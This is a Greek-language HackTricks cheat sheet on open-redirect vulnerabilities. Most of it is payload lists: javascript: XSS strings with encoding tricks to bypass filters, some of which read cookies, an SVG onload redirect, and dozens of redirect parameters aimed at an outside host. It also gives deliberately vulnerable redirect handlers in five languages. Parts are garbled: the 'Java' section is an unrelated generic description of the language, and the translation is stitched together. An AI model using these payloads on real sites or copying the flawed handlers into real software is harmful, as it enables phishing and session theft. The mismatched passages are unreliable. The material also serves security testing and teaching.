18 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Ανακατεύθυνση σε τοπικό υπολογιστή ή αυθαίρετους τομείς
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Ανοιχτή Ανακατεύθυνση προς XSS
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Ανοικτή Ανακατεύθυνση με την αποστολή αρχείων svg
Η ανοικτή ανακατεύθυνση (open redirect) είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να ανακατευθύνει τον χρήστη από μια ιστοσελίδα σε μια άλλη, χρησιμοποιώντας μια ευπάθεια στην υλοποίηση των ανακατευθύνσεων. Μια από τις μεθόδους που μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί αυτήν την ευπάθεια είναι η αποστολή αρχείων svg.
Οι αρχεία svg είναι αρχεία διανυσματικής γραφικής που χρησιμοποιούνται για να περιγράψουν γραφικά σχήματα και εικόνες. Ωστόσο, μπορούν επίσης να περιέχουν κώδικα JavaScript. Αυτό μπορεί να είναι επικίνδυνο, καθώς ο κακόβουλος κώδικας μπορεί να εκτελεστεί όταν το αρχείο svg φορτώνεται από μια ιστοσελίδα.
Ένας επιτιθέμενος μπορεί να αξιοποιήσει αυτήν την ευπάθεια αποστέλλοντας ένα αρχείο svg που περιέχει κακόβουλο κώδικα σε μια ιστοσελίδα που έχει μια ευπάθεια ανοικτής ανακατεύθυνσης. Όταν ο χρήστης επισκέπτεται αυτήν την ιστοσελίδα και το αρχείο svg φορτώνεται, ο κακόβουλος κώδικας μπορεί να ανακατευθύνει τον χρήστη σε μια κακόβουλη ιστοσελίδα ή να παρακολουθήσει τις ενέργειές του.
Για να προστατευθείτε από αυτήν την ευπάθεια, είναι σημαντικό να ελέγχετε προσεκτικά τις ανακατευθύνσεις στην ιστοσελίδα σας και να μην εμπιστεύεστε απροσεξίες στην υλοποίηση τους. Επίσης, πρέπει να είστε προσεκτικοί με την αποδοχή αρχείων svg από ανεπιθύμητες πηγές ή από άγνωστες ιστοσελίδες.
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
Κοινοί παράμετροι εισαγωγής
When performing web application penetration testing, it is important to be aware of common injection parameters that can be exploited. These parameters are often used in various parts of a web application, such as URLs, form fields, cookies, and headers. By injecting malicious code into these parameters, an attacker can manipulate the behavior of the application and potentially gain unauthorized access or perform other malicious actions.
Here are some common injection parameters to look out for:
-
URL parameters: These are the parameters that are appended to the end of a URL, typically after a question mark (?). Attackers can manipulate these parameters to execute arbitrary code or perform other actions.
-
Form fields: Web applications often use forms to collect user input. Attackers can inject malicious code into form fields, which can then be executed by the application.
-
Cookies: Cookies are used to store information about a user's session. Attackers can manipulate the values of cookies to gain unauthorized access or perform other malicious actions.
-
Headers: HTTP headers contain additional information about a request or response. Attackers can manipulate header values to exploit vulnerabilities in the application.
It is important to thoroughly test these injection parameters during a penetration test to identify and mitigate any potential vulnerabilities.
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
using System;
using System.Web;
namespace OpenRedirect
{
public partial class Redirect : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string redirectUrl = Request.QueryString["url"];
if (!string.IsNullOrEmpty(redirectUrl))
{
Response.Redirect(redirectUrl);
}
}
}
}
Java
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String redirectUrl = request.getParameter("url");
if (redirectUrl != null && !redirectUrl.isEmpty()) {
response.sendRedirect(redirectUrl);
}
}
}
PHP
<?php
if (isset($_GET['url'])) {
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
exit();
}
?>
Python
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/redirect')
def redirect_url():
redirect_url = request.args.get('url')
if redirect_url:
return redirect(redirect_url)
else:
return 'No redirect URL provided.'
if __name__ == '__main__':
app.run()
Ruby
require 'sinatra'
get '/redirect' do
redirect_url = params[:url]
if redirect_url
redirect redirect_url
else
'No redirect URL provided.'
end
end
response.redirect("~/mysafe-subdomain/login.aspx")
Java
Η Java είναι μια αντικειμενοστραφής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει σχεδιαστεί να είναι ανεξάρτητη πλατφόρμας, πράγμα που σημαίνει ότι μπορεί να τρέξει σε διάφορες πλατφόρμες χωρίς να απαιτείται ανακατασκευή του κώδικα. Η Java χρησιμοποιείται ευρέως για την ανάπτυξη web εφαρμογών, κινητών εφαρμογών, ενσωματωμένων συστημάτων και πολλών άλλων εφαρμογών.
Μερικά από τα βασικά χαρακτηριστικά της Java περιλαμβάνουν:
- Ανεξαρτησία πλατφόρμας: Ο κώδικας Java μπορεί να τρέξει σε οποιαδήποτε πλατφόρμα που υποστηρίζει την εικονική μηχανή Java (JVM).
- Ασφάλεια: Η Java παρέχει μηχανισμούς ασφαλείας για την προστασία των εφαρμογών από επιθέσεις.
- Απλότητα: Η Java έχει σχεδιαστεί με έμφαση στην απλότητα και την ευκολία χρήσης.
- Αποδοτικότητα: Η Java χρησιμοποιεί έναν συλλέκτη σκουπιδιών για τη διαχείριση της μνήμης, προσφέροντας έτσι αποδοτική διαχείριση της μνήμης.
- Ευελιξία: Η Java παρέχει πολλές βιβλιοθήκες και εργαλεία που επιτρέπουν την ευέλικτη ανάπτυξη εφαρμογών.
Η Java έχει γίνει μια από τις πιο δημοφιλείς γλώσσες προγραμματισμού λόγω της ευκολίας χρήσης, της ανεξαρτησίας πλατφόρμας και της ασφάλειας που προσφέρει. Είναι ιδανική για αρχάριους προγραμματιστές και επίσης χρησιμοποιείται ευρέως από επαγγελματίες προγραμματιστές για την ανάπτυξη πολύπλοκων εφαρμογών.
response.redirect("http://mysafedomain.com");
PHP
Η PHP είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη δυναμικών ιστοσελίδων. Ωστόσο, η ανεπαρκής ασφάλεια στην υλοποίηση της PHP μπορεί να οδηγήσει σε ευπάθειες ασφαλείας, όπως ανοικτές ανακατευθύνσεις.
Οι ανοικτές ανακατευθύνσεις είναι μια ευπάθεια που επιτρέπει σε έναν επιτιθέμενο να ανακατευθύνει τον χρήστη σε μια διαφορετική ιστοσελίδα ή URL. Αυτό μπορεί να οδηγήσει σε επιθέσεις phishing, όπου ο επιτιθέμενος προσποιείται ότι η ανακατεύθυνση προέρχεται από ένα αξιόπιστο πηγαίο σημείο.
Για να εκμεταλλευτείτε μια ανοικτή ανακατεύθυνση, μπορείτε να προσπαθήσετε να τροποποιήσετε τον παράμετρο ανακατεύθυνσης σε μια κακόβουλη τοποθεσία. Επίσης, μπορείτε να εκμεταλλευτείτε την ανεπαρκή επαλήθευση του πηγαίου σημείου για να προσποιηθείτε ότι η ανακατεύθυνση προέρχεται από ένα αξιόπιστο πηγαίο σημείο.
Για να προστατευτείτε από ανοικτές ανακατευθύνσεις, πρέπει να ελέγξετε την εγκυρότητα των παραμέτρων ανακατεύθυνσης και να επιβεβαιώσετε ότι η ανακατεύθυνση προέρχεται από έναν αξιόπιστο πηγαίο σημείο. Επίσης, πρέπει να χρησιμοποιήσετε λειτουργίες ανακατεύθυνσης που είναι ασφαλείς και να αποφεύγετε τη χρήση απευθείας εισόδου από τον χρήστη.
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Εργαλεία
Πόροι
- Στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect μπορείτε να βρείτε λίστες fuzzing.\
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.